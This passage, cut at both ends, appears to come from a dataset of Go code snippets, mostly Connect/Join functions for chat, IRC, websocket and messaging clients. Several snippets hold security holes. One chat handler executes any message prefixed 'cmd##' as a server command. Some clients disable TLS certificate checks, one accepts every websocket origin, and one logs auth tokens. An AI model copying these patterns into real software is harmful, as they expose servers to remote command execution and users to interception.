{\n\ttime.Sleep(time.Second * 2)\n\tc.SendMsg(c.joinMsg)\n}","func (c *Config) connect() {\n\tc.emitEvent(Event{Type: EventConnected})\n}","func (ch *Channel) Connect(c *Client) {\n ch.Clients.Store(c.Id, c)\n}","func (l *Logic) Connect(c context.Context, server, cookie string, token []byte) (mid int64, sn, roomID string, accepts []int32, hb int64, err error) {\n\tvar params model.AuthToken\n\tif err = json.Unmarshal(token, &params); err != nil {\n\t\tlog.Errorf(\"json.Unmarshal(%s) error(%v)\", token, err)\n\t\treturn\n\t}\n\n\tdevice, err := l.dao.DeviceAuthOnline(&params)\n\tif err != nil {\n\t\tlog.Errorf(\"l.dao.DeviceAuthOnline(%vparams) error(%v)\", params, err)\n\t\treturn\n\t}\n\tmid = int64(device.ID)\n\troomID = \"\"\n\thb = int64(l.c.Node.Heartbeat) * int64(l.c.Node.HeartbeatMax)\n\tsn = device.Sn\n\tif err = l.dao.AddMapping(c, mid, sn, server); err != nil {\n\t\tlog.Errorf(\"l.dao.AddMapping(%d,%s,%s) error(%v)\", mid, sn, server, err)\n\t}\n\tlog.Infof(\"conn connected sn:%s server:%s mid:%d token:%s roomID:%s\", sn, server, mid, token, roomID)\n\treturn\n}","func (i *IRC) Connect(genesisID BlockID, port int, addrChan chan<- string) error {\n\tnick, err := generateRandomNick()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnumReg, err := regexp.Compile(\"[^0-9]+\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ti.conn = irc.IRC(nick, strconv.Itoa(port))\n\ti.conn.UseTLS = true\n\ti.conn.TLSConfig = &tls.Config{InsecureSkipVerify: true}\n\n\tvar channel string\n\ti.conn.AddCallback(\"001\", func(e *irc.Event) {\n\t\tn := mrand.Intn(10)\n\t\tchannel = generateChannelName(genesisID, n)\n\t\tlog.Printf(\"Joining channel %s\\n\", channel)\n\t\ti.conn.Join(channel)\n\t})\n\ti.conn.AddCallback(\"366\", func(e *irc.Event) {\n\t\tlog.Printf(\"Joined channel %s\\n\", channel)\n\t\ti.conn.Who(channel)\n\t})\n\ti.conn.AddCallback(\"352\", func(e *irc.Event) {\n\t\tif e.Arguments[5] == nick {\n\t\t\treturn\n\t\t}\n\t\tport := numReg.ReplaceAllString(e.Arguments[2], \"\")\n\t\thost := e.Arguments[3]\n\t\tif len(port) != 0 && port != \"0\" {\n\t\t\tpeer := host + \":\" + port\n\t\t\taddrChan <- peer\n\t\t}\n\t})\n\ti.conn.AddCallback(\"JOIN\", func(e *irc.Event) {\n\t\tif e.Nick == nick {\n\t\t\treturn\n\t\t}\n\t\tport := numReg.ReplaceAllString(e.User, \"\")\n\t\thost := e.Host\n\t\tif len(port) != 0 && port != \"0\" {\n\t\t\tpeer := host + \":\" + port\n\t\t\taddrChan <- peer\n\t\t}\n\t})\n\n\treturn i.conn.Connect(Server)\n}","func (ws *WS) Connect(send, receive chan *RawMessage, stop chan bool) error {\n\turl, err := ws.getWebsocketURL(false)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Println(\"ws Connect:\", url)\n\n\tconn, _, err := websocket.DefaultDialer.Dial(url, http.Header{\n\t\t// Origin is important, it won't connect otherwise\n\t\t\"Origin\": {\"https://6obcy.org\"},\n\t\t// User-Agent can be ommited, but we want to look legit\n\t\t\"User-Agent\": {\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\"},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\tdoneCh := make(chan bool)\n\tsetupCh := make(chan *setupMessage)\n\n\t// start recv goroutine\n\tgo func() {\n\t\tinitialized := false\n\t\tdefer close(doneCh)\n\t\tfor {\n\t\t\tmsgType, msgBytes, err := conn.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Failed to read:\", err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tprefix, msg := rawToTypeAndJSON(msgBytes)\n\t\t\tif !initialized {\n\t\t\t\tif prefix == setup {\n\t\t\t\t\tsm := &setupMessage{}\n\t\t\t\t\terr := json.Unmarshal([]byte(msg), sm)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatalf(\"Failed to parse setup message %s %s\\n\", err, msg)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tsetupCh <- sm\n\t\t\t\t\tinitialized = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif prefix == pong {\n\t\t\t\tif ws.Debug {\n\t\t\t\t\tfmt.Println(\"pong\")\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif ws.Debug {\n\t\t\t\tfmt.Println(\"ws ->:\", string(msgBytes))\n\t\t\t}\n\n\t\t\treceive <- &RawMessage{\n\t\t\t\tType: msgType,\n\t\t\t\tPayload: msgBytes,\n\t\t\t}\n\t\t}\n\t}()\n\n\t// start send goroutine\n\tgo func() {\n\t\tfor {\n\t\t\trm := <-send\n\n\t\t\tif rm == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif ws.Debug {\n\t\t\t\tfmt.Println(\"ws <-:\", string(rm.Payload))\n\t\t\t}\n\n\t\t\terr := conn.WriteMessage(rm.Type, rm.Payload)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Failed to write:\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\tvar setupMsg *setupMessage\n\n\tselect {\n\tcase sm := <-setupCh:\n\t\tsetupMsg = sm\n\tcase <-time.After(5 * time.Second):\n\t\tlog.Println(\"Waited 5 seconds for setup message\")\n\t}\n\n\t// create a ticker and take care of sending pings\n\tticker := time.NewTicker(time.Millisecond * time.Duration(setupMsg.PingInterval))\n\tdefer ticker.Stop()\n\n\t// start main ws goroutine\n\tfor {\n\t\tselect {\n\t\tcase <-ticker.C:\n\t\t\tif ws.Debug {\n\t\t\t\tfmt.Println(\"ping\")\n\t\t\t}\n\t\t\terr := conn.WriteMessage(websocket.TextMessage, []byte(fmt.Sprintf(\"%d\", ping)))\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Failed to ping\", err)\n\t\t\t}\n\t\tcase <-stop:\n\t\t\terr := conn.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, \"\"))\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"write close:\", err)\n\t\t\t}\n\t\t\tselect {\n\t\t\tcase <-doneCh:\n\t\t\tcase <-time.After(time.Second):\n\t\t\t}\n\t\t\tstop <- true\n\t\t\treturn nil\n\t\tcase <-doneCh:\n\t\t\treturn nil\n\t\t}\n\t}\n}","func (s *Stream) Connect() {\n\turl := &url.URL{\n\t\tScheme: \"https\",\n\t\tHost: \"streaming.campfirenow.com\",\n\t\tPath: fmt.Sprintf(\"/room/%d/live.json\", s.room.ID),\n\t}\n\n\ts.base = httpie.NewStream(\n\t\thttpie.Get{url},\n\t\thttpie.BasicAuth{s.room.Connection.Token, \"X\"},\n\t\thttpie.CarriageReturn,\n\t)\n\n\tgo s.base.Connect()\n\n\tfor {\n\t\tselect {\n\t\tcase <-s.stop:\n\t\t\tclose(s.outgoing)\n\t\t\treturn\n\t\tcase data := <-s.base.Data():\n\t\t\tvar m Message\n\t\t\terr := json.Unmarshal(data, &m)\n\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tm.Connection = s.room.Connection\n\t\t\ts.outgoing <- &m\n\t\t}\n\t}\n}","func doConnected(conn *websocket.Conn) (string, error) {\n\tvar userId string\n\tvar err error\n\tif userId, err = validConn(conn); err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// add websocket connection\n\tCManager.Connected(userId, conn)\n\n\ttimestamp := Timestamp()\n\tvar msg = &Message{\n\t\tMessageType: OnlineNotify,\n\t\tMediaType: Text,\n\t\tFrom: userId,\n\t\tCreateAt: timestamp,\n\t\tUpdateAt: timestamp,\n\t}\n\tCManager.Broadcast(conn, msg)\n\n\t// add to last message store\n\tLastMessage.Add(msg)\n\n\t// send recent message\n\terr = LastMessage.Foreach(func(msg *Message) {\n\t\tif err := websocket.JSON.Send(conn, msg); err != nil {\n\t\t\tfmt.Println(\"Send msg error: \", err)\n\t\t}\n\t})\n\tif err != nil {\n\t\tfmt.Println(\"send recent message error: \", err)\n\t}\n\n\treturn userId, nil\n}","func (s *Realm) OnConnect(c *connection.Connection) {\r\n\tslog.Printf(\"New Connection from: %s\\n\", c.PeerAddr())\r\n\r\n\tsess := &RealmSession{\r\n\t\tConn: c,\r\n\t\tStartTime: time.Now(),\r\n\t}\r\n\r\n\ts.mtx.Lock()\r\n\te := s.conns.PushBack(sess)\r\n\ts.mtx.Unlock()\r\n\tc.SetContext(e)\r\n\r\n\tc.Send([]byte(\"fvpvTbKVC\\\\WnpqQvh_xdY\\\\\\\\\"))\r\n}","func (s *service) connect() {\n\tif s.destroyed {\n\t\ts.logger.Warnf(\"connect already destroyed\")\n\t\treturn\n\t}\n\n\taddr := fmt.Sprintf(\"%s:%d\", s.Host, s.Port)\n\n\ts.logger.Infof(\"start %s %s\", s.Name, addr)\n\n\ts.Connecting = true\n\tconn, err := net.Dial(\"tcp\", addr)\n\tfor err != nil {\n\t\tif s.destroyed {\n\t\t\ts.logger.Warnf(\"dial already destroyed\")\n\t\t\treturn\n\t\t}\n\t\tif s.restarted {\n\t\t\ts.logger.WithError(err).Warnf(\"dial %v\", err)\n\t\t} else {\n\t\t\ts.logger.WithError(err).Errorf(\"dial %v\", err)\n\t\t}\n\t\ttime.Sleep(time.Duration(1) * time.Second)\n\t\tconn, err = net.Dial(\"tcp\", addr)\n\t}\n\ts.conn = conn\n\ts.restarted = false\n\ts.Connecting = false\n\ts.logger.Infof(\"connected %s %s\", s.Name, addr)\n\n\tquit := make(chan struct{})\n\ts.Send = s.makeSendFun(conn)\n\tmsg := types.Message{\n\t\tRouterHeader: constants.RouterHeader.Connect,\n\t\tUserID: s.RouterID,\n\t\tPayloadURI: types.PayloadURI(s.Caller),\n\t}\n\ts.Send(msg)\n\tgo common.WithRecover(func() { s.readPump(conn, quit) }, \"read-pump\")\n\ts.startHB(conn, quit)\n}","func (c *Notification2Client) connect() error {\n\tif c.dialer == nil {\n\t\tpanic(\"Missing dialer for realtime client\")\n\t}\n\tws, err := c.createWebsocket()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.mtx.Lock()\n\tdefer c.mtx.Unlock()\n\n\tc.ws = ws\n\tif c.tomb == nil {\n\t\tc.tomb = &tomb.Tomb{}\n\t\tc.tomb.Go(c.worker)\n\t}\n\tc.connected = true\n\n\treturn nil\n}","func connect() (*websocket.Conn, error) {\n\thost := fmt.Sprintf(\"%s:%s\", configuration.TV.Host, *configuration.TV.Port)\n\tpath := \"/api/v2/channels/samsung.remote.control\"\n\tquery := fmt.Sprintf(\"name=%s\", base64.StdEncoding.EncodeToString([]byte(configuration.Controller.Name)))\n\tu := url.URL{Scheme: *configuration.TV.Protocol, Host: host, Path: path, RawQuery: query}\n\n\tlog.Infof(\"Opening connection to %s ...\", u.String())\n\n\twebsocket.DefaultDialer.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\n\tconnection, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\n\tif err != nil {\n\t\tlog.Debugf(\"%v\", err)\n\t\treturn nil, err\n\t}\n\n\tlog.Infof(\"Connection is established.\")\n\n\treturn connection, nil\n}","func (bili *BiliClient) sendJoinChannel(channelID int) error {\n\tbili.uid = rand.Intn(2000000000) + 1000000000\n\tbody := fmt.Sprintf(\"{\\\"roomid\\\":%d,\\\"uid\\\":%d}\", channelID, bili.uid)\n\treturn bili.sendSocketData(0, 16, bili.protocolVersion, 7, 1, body)\n}","func (bot *Bot) Connect() {\n\t//close connection if it exists\n\tif bot.conn != nil {\n\t\terr := bot.conn.Close()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error closing old connection\")\n\t\t}\n\t}\n\n\tvar err error\n\tfmt.Println(\"Attempting to connect to Twitch IRC server!\")\n\tbot.conn, err = net.Dial(\"tcp\", bot.server+\":\"+bot.port)\n\n\tif err != nil {\n\t\tfmt.Printf(\"Unable to connect to Twitch IRC server! Reconnecting in 10 seconds...\\n\")\n\t\ttime.Sleep(10 * time.Second)\n\t\tbot.Connect()\n\t}\n\n\tfmt.Printf(\"Connected to IRC server %s\\n\", bot.server)\n\n\tfmt.Fprintf(bot.conn, \"USER %s 8 * :%s\\r\\n\", bot.nick, bot.nick)\n\tfmt.Fprintf(bot.conn, \"PASS oauth:%s\\r\\n\", bot.AuthToken)\n\tfmt.Fprintf(bot.conn, \"NICK %s\\r\\n\", bot.nick)\n\tfmt.Fprintf(bot.conn, \"JOIN %s\\r\\n\", bot.channel)\n\tfmt.Fprintf(bot.conn, \"CAP REQ :twitch.tv/membership\\r\\n\")\n\tfmt.Fprintf(bot.conn, \"CAP REQ :twitch.tv/tags\\r\\n\")\n\n\tgo bot.ReadLoop()\n}","func (s *LoginSocket) SendMessage(c *Client, msgType string, p interface{}) {\n\tlogger.Info(\"SendMessage on login channel\", msgType, p)\n\tgo c.SendMessage(LoginChannel, msgType, p)\n}","func connect() *websocket.Conn {\n\turl := url.URL{Scheme: \"ws\", Host: *addr, Path: \"/ws\"}\n\tlog.Info(\"Connecting to \", url.String())\n\tconn, _, err := dialer.Dial(url.String(), nil)\n\tcheckError(err)\n\tlog.Info(\"Connected to \", url.String())\n\n\t// Read the message from server with deadline of ResponseWait(30) seconds\n\tconn.SetReadDeadline(time.Now().Add(utils.ResponseWait * time.Second))\n\n\treturn conn\n}","func (s *streamMessageSender) Connect(ctx context.Context) (network.Stream, error) {\n\tif s.connected {\n\t\treturn s.stream, nil\n\t}\n\n\ttctx, cancel := context.WithTimeout(ctx, s.opts.SendTimeout)\n\tdefer cancel()\n\n\tif err := s.bsnet.ConnectTo(tctx, s.to); err != nil {\n\t\treturn nil, err\n\t}\n\n\tstream, err := s.bsnet.newStreamToPeer(tctx, s.to)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.stream = stream\n\ts.connected = true\n\treturn s.stream, nil\n}","func (c *TwitchChat) Connect() {\n\tvar err error\n\tc.connLock.RLock()\n\tc.conn, _, err = c.dialer.Dial(GetConfig().Twitch.SocketURL, c.headers)\n\tc.connLock.RUnlock()\n\tif err != nil {\n\t\tlog.Printf(\"error connecting to twitch ws %s\", err)\n\t\tc.reconnect()\n\t}\n\n\tc.send(\"PASS \" + GetConfig().Twitch.OAuth)\n\tc.send(\"NICK \" + GetConfig().Twitch.Nick)\n\n\tfor _, ch := range c.channels {\n\t\terr := c.Join(ch)\n\t\tif err != nil {\n\t\t\tlog.Println(ch, err)\n\t\t}\n\t}\n}","func (this *WebSocketController) Join() {\n\n\tuname := this.GetString(\"uname\")\n\troomName := this.GetString(\"room\")\n\n\tif len(uname) == 0 {\n\t\tthis.Redirect(\"/\", 302)\n\t\treturn\n\t}\n\n\t// Upgrade from http request to WebSocket.\n\tws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\n\tif _, ok := err.(websocket.HandshakeError); ok {\n\t\thttp.Error(this.Ctx.ResponseWriter, \"Not a websocket handshake\", 400)\n\t\treturn\n\t} else if err != nil {\n\t\tbeego.Error(\"Cannot setup WebSocket connection:\", err)\n\t\treturn\n\t}\n\n\tvar chatRoom *services.ChatRoom\n\tif roomName == \"\" {\n\t\troomName = \"defaultRoom\"\n\t}\n\tif chatRoom = services.SchedulerService.FindChatRoom(roomName); chatRoom == nil {\n\t\tbeego.Info(\"CreateChatRoom: \" + roomName)\n\t\tchatRoom = services.SchedulerService.CreateChatRoom(roomName)\n\t}\n\n\tchatRoom.Join(uname, ws)\n\tdefer chatRoom.Leave(uname)\n\n\t// Join chat room.\n\t//Join(uname, ws)\n\t//defer Leave(uname)\n\n\ttime.Sleep(time.Duration(2) * time.Second)\n\n\tfor event := chatRoom.GetArchive().Front(); event != nil; event = event.Next() {\n\t\tev := event.Value.(models.Event)\n\t\tdata, err := json.Marshal(ev)\n\t\tif err != nil {\n\t\t\tbeego.Error(\"Fail to marshal event:\", err)\n\t\t\treturn\n\t\t}\n\t\tif ws.WriteMessage(websocket.TextMessage, data) != nil {\n\t\t\t// User disconnected.\n\t\t\tchatRoom.Leave(uname)\n\t\t}\n\t}\n\n\t// Message receive loop.\n\tfor {\n\t\t_, p, err := ws.ReadMessage()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\treceivedMessage := &models.ReceivedMessage{}\n\t\tif err := json.Unmarshal(p, receivedMessage); err != nil {\n\t\t\tbeego.Error(uname + \":\")\n\t\t\tbeego.Error(err)\n\t\t\tcontinue\n\t\t}\n\t\tif strings.HasPrefix(receivedMessage.Content, \"cmd##\") {\n\t\t\tcontent, err := services.Cmd.Exec(strings.Split(receivedMessage.Content, \"##\")[1])\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tchatRoom.Send(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, \"\", content))\n\n\t\t} else if receivedMessage.ToName != \"\" && receivedMessage.ToName != \"broadcast\" {\n\t\t\tchatRoom.SendOne(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, receivedMessage.ToName, receivedMessage.Content))\n\t\t} else {\n\t\t\tchatRoom.Send(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, \"\", receivedMessage.Content))\n\t\t}\n\n\t}\n}","func (b *Bot) Connect(token string) error {\n\tsession, err := discordgo.New(\"Bot \" + token)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error creating Discord session: %w\", err)\n\t}\n\n\tsession.AddHandler(b.readMessage)\n\n\tsession.Identify.Intents = discordgo.MakeIntent(discordgo.IntentsGuildMessages)\n\n\tif err := session.Open(); err != nil {\n\t\treturn fmt.Errorf(\"Error opening connection: %w\", err)\n\t}\n\n\tb.session = session\n\n\treturn nil\n}","func (this *WebSocketController) Join() {\n\tuname := this.GetString(\"uname\")\n\tif len(uname) == 0 {\n\t\tthis.Redirect(\"/\", 302)\n\t\treturn\n\t}\n\n\t// Upgrade from http request to WebSocket.\n\tws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\n\tif err != nil {\n\t\tif _, ok := err.(websocket.HandshakeError); ok {\n\t\t\thttp.Error(this.Ctx.ResponseWriter, \"Not a websocket handshake\", 400)\n\t\t\treturn\n\t\t} else {\n\t\t\tbeego.Error(\"Cannot setup WebSocket connection:\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Join chat room.\n\tJoin(uname, ws)\n\tdefer Leave(uname)\n\n\t// Message receive loop.\n\tfor {\n\t\t_, p, err := ws.ReadMessage()\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"\\nwebsocket message receive loop erro[%s]\\n\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tcommonInfoCh <- newEvent(models.EVENT_MESSAGE, uname, string(p))\n\t}\n}","func (c *Driver) Connect() error {\n\tif !IsChannelValid(c.channel) {\n\t\treturn InvalidChanName\n\t}\n\n\tc.clean()\n\tconn, err := net.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", c.Host, c.Port))\n\tif err != nil {\n\t\treturn err\n\t} \n\t\n\tc.closed = false\n\tc.conn = conn\n\tc.reader = bufio.NewReader(c.conn)\n\n\terr = c.write(fmt.Sprintf(\"START %s %s\", c.channel, c.Password))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = c.read()\n\t_, err = c.read()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (pc *Client) Connect() (err error) {\n\n\tif debug {\n\t\tfmt.Printf(\"Connecting to %s\\n\", pc.server)\n\t}\n\n\tc, _, err := websocket.DefaultDialer.Dial(pc.server, nil)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpc.connection = c\n\n\tgo func() {\n\t\tfor {\n\t\t\t_, message, err := c.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tpc.disconnected()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpc.receive(message)\n\t\t}\n\t}()\n\n\terr = pc.wait(messages.TYPE_HELLO)\n\n\tif err != nil {\n\t\tpc.connected = true\n\t}\n\n\treturn\n}","func (s *StandaloneMessageBus) Connect(inst flux.InstanceID) (Platform, error) {\n\ts.RLock()\n\tdefer s.RUnlock()\n\tp, ok := s.connected[inst]\n\tif !ok {\n\t\treturn disconnectedPlatform{}, nil\n\t}\n\treturn p, nil\n}","func (this *WebSocketController) Join() {\n beego.Info(\"WebSocketControler.Join\")\n\n // Get username and roomname\n uname := this.GetString(\"uname\")\n room := this.GetString(\"room\")\n if len(uname) == 0 || len(room) == 0 {\n this.Redirect(\"/\", 302)\n return\n }\n\n // Upgrade from http request to WebSocket.\n ws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\n if _, ok := err.(websocket.HandshakeError); ok {\n http.Error(this.Ctx.ResponseWriter, \"Not a websocket handshake\", 400)\n return\n } else if err != nil {\n beego.Error(\"Cannot setup WebSocket connection:\", err)\n return\n }\n\n // Create new player\n player := models.NewPlayer(uname)\n\n // Join room.\n inChannel, outPlayer := models.JoinRoom(room, player)\n\n go broadcastWebSocket(player.OutChannel, ws)\n go receiveRoutine(inChannel, ws, player, outPlayer)\n}","func connect(num int, serverHost string, serverPort int, result *chan resultConn) {\n\tfmt.Println(\"Start connection \", num)\n\tstart := time.Now()\n\tres := resultConn{}\n\tvar msgOut []byte\n\tconn, err := net.Dial(transport, fmt.Sprintf(\"%s:%d\", serverHost, serverPort))\n\tif err != nil {\n\t\t// handle error\n\t\tfmt.Println(err)\n\t} else {\n\t\treader := bufio.NewReader(conn)\n\t\tbuf := make([]byte, 1024)\n\t\tfor msgIndex := 0; msgIndex < messageCount; msgIndex++ {\n\t\t\tmsgOut = randomProtoMsg()\n\t\t\tconn.Write(msgOut)\n\t\t\tres.byteOut += len(msgOut)\n\t\t\tanswerSize, err := reader.Read(buf)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t} else {\n\t\t\t\tmsg := buf[0:answerSize]\n\t\t\t\tif showMsg {\n\t\t\t\t\tfmt.Printf(\n\t\t\t\t\t\t\"msg out: %s\\nmsg in: %s\\n\",\n\t\t\t\t\t\tstring(msgOut), string(msg))\n\t\t\t\t}\n\t\t\t\tres.byteIn += answerSize\n\t\t\t}\n\t\t}\n\t}\n\tres.time = float32(time.Since(start)) / 1E9\n\tfmt.Println(\"End connection\", num, \"time\", res.time)\n\t(*result) <- res\n}","func (chatRoom *ChatRoom) Join(connection net.Conn) {\n\t// makes a new client\n\tclient := NewClient(connection)\n\t// appends it in the list\n\tchatRoom.clients = append(chatRoom.clients, client)\n\t// starts a goroutine to configure the incoming messages to be put in the chatroom's incoming\n\t// messages to broadcast\n\tgo func() {\n\t\tfor {\n\t\t\tchatRoom.incoming <- <-client.incoming\n\t\t}\n\t}()\n}","func (h DeviceController) Connect(c *gin.Context) {\n\tctx := c.Request.Context()\n\tl := log.FromContext(ctx)\n\n\tidata := identity.FromContext(ctx)\n\tif !idata.IsDevice {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"error\": ErrMissingAuthentication.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tmsgChan := make(chan *nats.Msg, channelSize)\n\tsub, err := h.nats.ChanSubscribe(\n\t\tmodel.GetDeviceSubject(idata.Tenant, idata.Subject),\n\t\tmsgChan,\n\t)\n\tif err != nil {\n\t\tl.Error(err)\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"error\": \"failed to allocate internal device channel\",\n\t\t})\n\t\treturn\n\t}\n\t//nolint:errcheck\n\tdefer sub.Unsubscribe()\n\n\tupgrader := websocket.Upgrader{\n\t\tReadBufferSize: 1024,\n\t\tWriteBufferSize: 1024,\n\t\tSubprotocols: []string{\"protomsg/msgpack\"},\n\t\tCheckOrigin: func(r *http.Request) bool {\n\t\t\treturn true\n\t\t},\n\t\tError: func(\n\t\t\tw http.ResponseWriter, r *http.Request, s int, e error) {\n\t\t\trest.RenderError(c, s, e)\n\t\t},\n\t}\n\n\terrChan := make(chan error)\n\tdefer close(errChan)\n\n\t// upgrade get request to websocket protocol\n\tconn, err := upgrader.Upgrade(c.Writer, c.Request, nil)\n\tif err != nil {\n\t\terr = errors.Wrap(err,\n\t\t\t\"failed to upgrade the request to \"+\n\t\t\t\t\"websocket protocol\",\n\t\t)\n\t\tl.Error(err)\n\t\treturn\n\t}\n\t// websocketWriter is responsible for closing the websocket\n\t//nolint:errcheck\n\tgo h.connectWSWriter(ctx, conn, msgChan, errChan)\n\terr = h.ConnectServeWS(ctx, conn)\n\tif err != nil {\n\t\tselect {\n\t\tcase errChan <- err:\n\n\t\tcase <-time.After(time.Second):\n\t\t\tl.Warn(\"Failed to propagate error to client\")\n\t\t}\n\t}\n}","func (b *BTCC) OnConnect(output chan socketio.Message) {\n\tif b.Verbose {\n\t\tlog.Printf(\"%s Connected to Websocket.\", b.GetName())\n\t}\n\n\tcurrencies := []string{}\n\tfor _, x := range b.EnabledPairs {\n\t\tcurrency := common.StringToLower(x[3:] + x[0:3])\n\t\tcurrencies = append(currencies, currency)\n\t}\n\tendpoints := []string{\"marketdata\", \"grouporder\"}\n\n\tfor _, x := range endpoints {\n\t\tfor _, y := range currencies {\n\t\t\tchannel := fmt.Sprintf(`\"%s_%s\"`, x, y)\n\t\t\tif b.Verbose {\n\t\t\t\tlog.Printf(\"%s Websocket subscribing to channel: %s.\", b.GetName(), channel)\n\t\t\t}\n\t\t\toutput <- socketio.CreateMessageEvent(\"subscribe\", channel, b.OnMessage, BTCCSocket.Version)\n\t\t}\n\t}\n}","func (p *AMQPClient) Connect(ip string) {\n\t// start logging\n\tif env.IsLoggingEnabled() {\n\t\tl, err := logs.CreateAndConnect(env.GetLoggingCredentials())\n\t\tp.Logger = l\n\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Couldn't connect to logging service! No logs will be stored..\")\n\t\t}\n\t}\n\n\tconn, err := amqp.Dial(ip)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tp.Connection = conn\n\tfmt.Println(\"Connected to amqp node @\" + ip + \".\")\n\n\t// creates a channel to amqp server\n\tch, err := conn.Channel()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tp.Channel = ch\n\n\t// declares an exchange with name `chat` and type `fanout`\n\t// sends to every queue bound to this exchange\n\terr = ch.ExchangeDeclare(\"chat\", \"fanout\", true,\n\t\tfalse, false, false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// declares a new queue with name=`queueName`\n\tq, err := ch.QueueDeclare(queueName+\"_\"+p.UUID.String(), false, false, true, false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tp.Queue = q\n\n\t// binds the queue to the exchange\n\terr = ch.QueueBind(q.Name, \"\", \"chat\", false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// handles outgoing messages\n\tgo func(p *AMQPClient) {\n\t\tfor {\n\t\t\tselect {\n\t\t\t// publishes a new message to the amqp server\n\t\t\t// if the channel received a new message\n\t\t\tcase s := <-p.outgoingMessages:\n\t\t\t\terr = ch.Publish(\"chat\", \"\", false, false,\n\t\t\t\t\tamqp.Publishing{\n\t\t\t\t\t\tContentType: \"text/plain\",\n\t\t\t\t\t\tBody: []byte(s.Message),\n\t\t\t\t\t})\n\t\t\tcase m := <-p.incomingMessages:\n\t\t\t\tfmt.Println(m.Message)\n\n\t\t\t\t// log the message\n\t\t\t\tif env.IsLoggingEnabled() {\n\t\t\t\t\tgo func() {\n\t\t\t\t\t\tuser, message := m.UserAndMessage()\n\t\t\t\t\t\terr := p.Logger.AddEntry(user, message)\n\n\t\t\t\t\t\tif p.Logger.Connected && err != nil {\n\t\t\t\t\t\t\tfmt.Println(\"Couldn't sent log!\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}()\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}(p)\n\n\t// get the channel consumer\n\tmsgs, err := ch.Consume(q.Name, \"\", true, false, false, false, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// handles incoming messages\n\tgo func(p *AMQPClient) {\n\t\tfor d := range msgs {\n\t\t\t// send a message packet to incoming handler\n\t\t\t// if a new message is inside the channel\n\t\t\tp.incomingMessages <- &network.MessagePacket{Message: string(d.Body)}\n\t\t}\n\t}(p)\n\n\tselect {\n\tcase p.stateUpdates <- true:\n\t\tbreak\n\t}\n}","func (c *GatewayClient) connect() error {\n\tif !c.ready {\n\t\treturn errors.New(\"already tried to connect and failed\")\n\t}\n\n\tc.ready = false\n\tc.resuming = false\n\tc.heartbeatAcknowledged = true\n\tc.lastIdentify = time.Time{}\n\n\tc.Logf(\"connecting\")\n\t// TODO Need to set read deadline for hello packet and I also need to set write deadlines.\n\t// TODO also max message\n\tvar err error\n\tc.wsConn, _, err = websocket.DefaultDialer.Dial(c.GatewayURL, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo c.manager()\n\n\treturn nil\n}","func (c *Client) Connect(server string) error {\n\tconn, err := net.Dial(\"tcp\", server)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.Conn = conn\n\n\t// Wait for first message -- give the server 1 second\n\t// after acknowledgment\n\tc.GetMessage()\n\ttime.Sleep(time.Second)\n\n\t// Write the NICK and USER 